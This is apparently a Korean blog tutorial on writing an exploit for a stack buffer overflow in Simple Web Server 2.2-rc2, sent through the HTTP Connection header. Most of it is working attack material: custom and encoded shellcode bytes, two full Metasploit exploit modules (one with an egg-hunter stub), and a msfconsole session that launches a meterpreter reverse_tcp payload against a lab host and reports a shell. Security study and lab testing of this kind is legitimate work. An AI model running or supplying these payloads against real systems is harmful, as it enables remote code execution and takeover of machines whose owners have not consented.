익스플로잇개발


이번 주제는 Metasploit 을 활용하여 exploit 을 제작하는 것입니다.


exploit 을 제작할 때 물론 perl, python, ruby 등의 스크립트 언어도 많이 이용하지만, 실용성을 높이려면 exploit 


framework 인 metasploit 을 이용하여 제작하는 것이 좋습니다. metasploit 은 무료임에도 불구하고(물론 유료 버전도 


존재합니다만, GUI 일 뿐 그다지 크게 좋은지는 모르겠습니다.) 기본적인 exploit 골격을 제공할 뿐 아니라 공격 후의 


payload , encoder 등의 다양한 도구까지 제공해 줍니다. 즉, 사용자는 그저 발견한 취약점에 특화된 부분(offset 등) 


만을 추가하면 됩니다. 


=========================================================================================================



이번에 사용될 프로그램은 나름 최근(2012-07-19, http://www.exploit-db.com/exploits/19937/)에 발표한 Simple 


Web Server 2.2 rc2 이다. 이 프로그램은 HTTP Protocol 을 파싱하는 과정에서 Connection: 헤더를 읽어올 때 전형


적인 BOF 가 발생한다.



# simple web server 2.2-rc2 버전


해당 프로그램은 아래와 같이 웹서버의 역할을 하도록 해주는 어플리케이션이며, 간단히 접속 테스트를 해보았다.







# 공개된 취약점을 이용한 exploit 코드 제작


crash 가 발생하는 offset 이 2048 인 것만 알면 그다지 어려울 것은 없다. 단순히 junk 를 채우고 eip 를 덮어 씌운 뒤 


쉘코드를 입력하면 된다. 쉘코드가 긴 것을 별로 좋아하지 않아 메타스플로잇이 생성해준 것 대신 개인적으로 만든 쉘


코드를 사용한다. 실행만 되면 되잖아 :) 

 

 

# 45 바이트 쉘코드 ( 한글 xp sp3 에서만 동작함. 함수주소가 하드코딩 되어 있으므로 )

"\x55\x8b\xec\x83\xec\x44\x33\xc9\x88\x4d\xff\xc6\x45\xfc\x63"

"\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc\x50\xb8"

"\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0"







# 해당 공격코드를 실행하여 대상PC에 쉘코드가 실행됨을 확인



공격 코드 실행하면 위와 같이 대상 PC 에서 쉘이 뜬다. 이제 exploit 코드를 작성했으니, 활용성을 높이기 위해 메타


스플로잇으로 포팅해보자. 메타스플로잇으로 코드를 작성해 두면 때에 따라 원하는 payload 를 실행할 수 있으며 매


번 프로그래밍을 다시 하는 단순 작업을 피할 수 있다.




# 메타스플로잇 모듈 작성


 - 모듈 위치 : /opt/framework/msf3/modules/   ( 아래와 같이 각 OS 별로 정리되어 있음 )

 - 모듈 언어 : ruby

 

 root@hyunmini:/opt/framework/msf3/modules/exploits# ls

aix  bsdi  dialup  freebsd  hpux  irix  linux  multi  netware  osx  solaris  unix  windows


새로운 모듈을 처음부터 작성하기 보단, 이미 완성된 수많은 훌륭한 익스플로잇을 복사하여 수정하자 ( -_- ㅋ)


몇 번 해보면 알겠지만 정해진 틀에 맞추어 offset, payload, header 등만을 수정해 주면 된다.


여기에선 windows/misc 내부의 익스플로잇을 하나 복사해서 썼다.



 require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote     // 리모트 익스플로잇 모듈 상속

Rank = GoodRanking                         // 익스플로잇의 신뢰도

include Msf::Exploit::Remote::Tcp       


def initialize(info = {})

super(update_info(info,

'Name'           => 'Simple Web Server stack overflow',     // 익스플로잇 모듈명

'Description'    => %q{

This module exploits a stack buffer overflow in the Simple Web Server.  // 설명

},

'Author'         => [ 'hyunmini' ],          // 제작자

'License'        => MSF_LICENSE,       // 라이센스

'Version'        => '$Revision: 7777 $' , // 버전 (자체적인 버전을 의미)

'References'     =>

[

[ 'URL', 'http://www.exploit-db.com/exploits/19937/'],   

                                 // 참고 URL 이나 취약점 분류코드 등

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',          // 기본 옵션값 세팅

},


'Privileged'     => true,

'Payload'        =>                // Payload 설정 (중요!!)

{

'Space'    => 1000,                    // payload 를 넣을 수 있는 공간 사이즈

'BadChars' => "\x00\x0a\x0d\x3a\x20",  // 포함되면 안되는 문자 ( 중요!! )

'StackAdjustment' => -3500,

},


'Platform'       => ['win'],

'Targets'        =>

[

[ 'Windows XP SP3 - KOR',     { 'Ret' => 0x77d256f7 } ],  // OS, 패치별 ret 주소 

],

'DisclosureDate' => 'Aug 28 2012',

'DefaultTarget' => 0))


register_options([Opt::RPORT(80)], self.class)      // exploit 옵션 추가 및 디폴드값 설정

end


def exploit   // 실제 exploit 명령 시 실행되는 함수 

connect


sploit = "\x41" *  2048

sploit << [target.ret].pack('V')    // payload 에서 설정한 ret 주소가 자동 설정됨

                sploit << payload.encode   // 인코딩된 쉘코드


res = "GET / HTTP/1.0\r\n"

res += "Connection:#{sploit}\r\n\r\n"


print_status("Sending Payload #{target.name}...")

sock.put(res)  // 패킷 전송

print_status("OK!! Exploitation Done !!")

handler   // metasploit 핸들러

disconnect

end

end





크게 어려운 것은 없다. 대부분 위와 같은 형식을 가지고 있으며 보면 알겠지만 ret 주소, 익스플로잇 공간 등 일부분만 


수정해주면 된다.



# payload 설정 부분

'Payload'        =>                // Payload 설정 (중요!!)

{

'Space'    => 1000,                    // payload 를 넣을 수 있는 공간 사이즈

'BadChars' => "\x00\x0a\x0d\x3a\x20",  // 포함되면 안되는 문자 ( 중요!! )

'StackAdjustment' => -3500,

}, 


Space 는 metasploit 을 이용하여 payload 를 지정할 때, 이용할 수 있는 최대한의 버퍼 크기이다. bof 의 경우 eip 를 


덮은 이후 jmp esp 등으로 쉘코드를 실행시킨다. 즉 버퍼이후 부터 쉘코드의 끝지점 정도가 payload 를 넣을 수 있는 


크기가 될 것이고, 생각보다 크지 않다. 일반적인 범용적인 쉘코드(자동 생성된)의 경우 3~500 바이트 정도의 크기이


다. 물론 직접 가지고 있는 쉘코드를 입력해서 사용하면 더 작은 공간만으로도 payload 구성이 가능하며, 이후에 알아


볼 테크닉인 egg hunting 이라는 기술을 통해 쓰레기값 대신 쉘코드를 버퍼 앞쪽에 넣고, egg(쉘코드 시작점을 알리


는 태그 정도로 보면 된다) 를 찾는 방법으로 더 넓은 공간을 확보할 수 있다.





그런데, 실행해보면 정상적으로 공격코드가 실행되지 않는 것을 볼 수 있다. wireshark 로 패킷을 잡아보면 분명히 패


킷은 전송이 되는데 실행이 되지 않는다. 이유는 위에서도 설명한 payload 문제이다. 



# 인코딩 된 쉘코드

 root@hyunmini # msfpayload windows/exec cmd=calc c | msfencode -e x86/alpha_mixed

[*] x86/alpha_mixed succeeded with size 1980 (iteration=1)


buf = 

"\x89\xe5\xdb\xd4\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49" +

"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +

"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +

"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +

"\x42\x75\x4a\x49\x66\x4f\x65\x7a\x56\x6a\x55\x70\



위와 같이 인코딩을 하게 되면 용량이 훌쩍 커진다. 물론 알고리즘에 따라 다르긴 하지만, 보통 500 정도는 된다. 00, 


0a 등의 badchar 때문에 인코딩을 안하면 payload 가 정상적으로 입력이 안될 수 있으므로 인코딩은 항상 해주는 것


이 좋다. 어쨋건 이런 부분 때문에 항상 space 가 충분한지 확인을 하고, 공간이 너무 적다면 egg-hunting 을 통해 버


퍼의 앞부분에 쉘코드를 입력할 공간을 마련하는 것이 좋다. egg-hunting에 대한 자세한 포스팅은 이후에 다시 할 예


정이니 우선 완성된 코드로 진행을 해 보겠다. 우선은 개념 정도만 알고 넘어가자.



# Egg-hunting 개념으로 쉘코드가 앞부분에 위치하는 payload 로 구성한 완성된 exploit


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Tcp


def initialize(info = {})

super(update_info(info,

'Name'           => 'Simple Web Server stack overflow',

'Description'    => %q{

This module exploits a stack buffer overflow in the Simple Web Server.

},

'Author'         => [ 'hyunmini' ],

'License'        => MSF_LICENSE,

'Version'        => '$Revision: 7777 $',

'References'     =>

[

[ 'URL', 'http://www.exploit-db.com/exploits/19937/'],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

},


'Privileged'     => true,

'Payload'        =>

{

'Space'    => 1000,

'BadChars' => "\x00\x0a\x0d\x3a\x20",

'StackAdjustment' => -3500,

},


'Platform'       => ['win'],

'Targets'        =>

[

[ 'Windows XP SP3 - KOR',     { 'Ret' => 0x77d256f7 } ],

],

'DisclosureDate' => 'Aug 28 2012',

'DefaultTarget' => 0))


register_options([Opt::RPORT(80)], self.class)

end


def exploit

connect


sploit = rand_text_alpha_upper( 2048 - "w00tw00t".length - (payload.encode).length )

sploit << "w00tw00t"   // egg (tag)

sploit << payload.encode

sploit << [target.ret].pack('V')

sploit <<            // egg-hunting code "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8w00t\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

res = "GET / HTTP/1.0\r\n"

res += "Connection:#{sploit}\r\n\r\n"


print_status("Sending Payload #{target.name}...")

sock.put(res)

print_status("OK!! Exploitation Done !!")

handler

disconnect

end

end


 



자 위의 코드로 다시 공격을 해보자.



root # msfconsole

          .....

          ....


msf > use exploit/windows/misc/hyunmini 

msf  exploit(hyunmini) > set rhost 192.168.48.3

rhost => 192.168.48.3

msf  exploit(hyunmini) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf  exploit(hyunmini) > set lport 7777

lport => 7777

msf  exploit(hyunmini) > show options 


Module options (exploit/windows/misc/hyunmini):


   Name   Current Setting  Required  Description

   ----   ---------------  --------  -----------

   RHOST  192.168.48.3     yes       The target address

   RPORT  80               yes       The target port



Payload options (windows/meterpreter/reverse_tcp):


   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none

   LHOST                      yes       The listen address

   LPORT     7777             yes       The listen port



Exploit target:


   Id  Name

   --  ----

   0   Windows XP SP3 - KOR



msf  exploit(hyunmini) > set lhost 192.168.48.128

lhost => 192.168.48.128

msf  exploit(hyunmini) > exploit







공격이 성공하고 쉘이 얻어진 것을 확인 할 수 있다. 


더이상의 설명은 생략한다 ( -_- !)




수고하셨습니다~ ㅎㅎ 


토닥토닥






+ Recent posts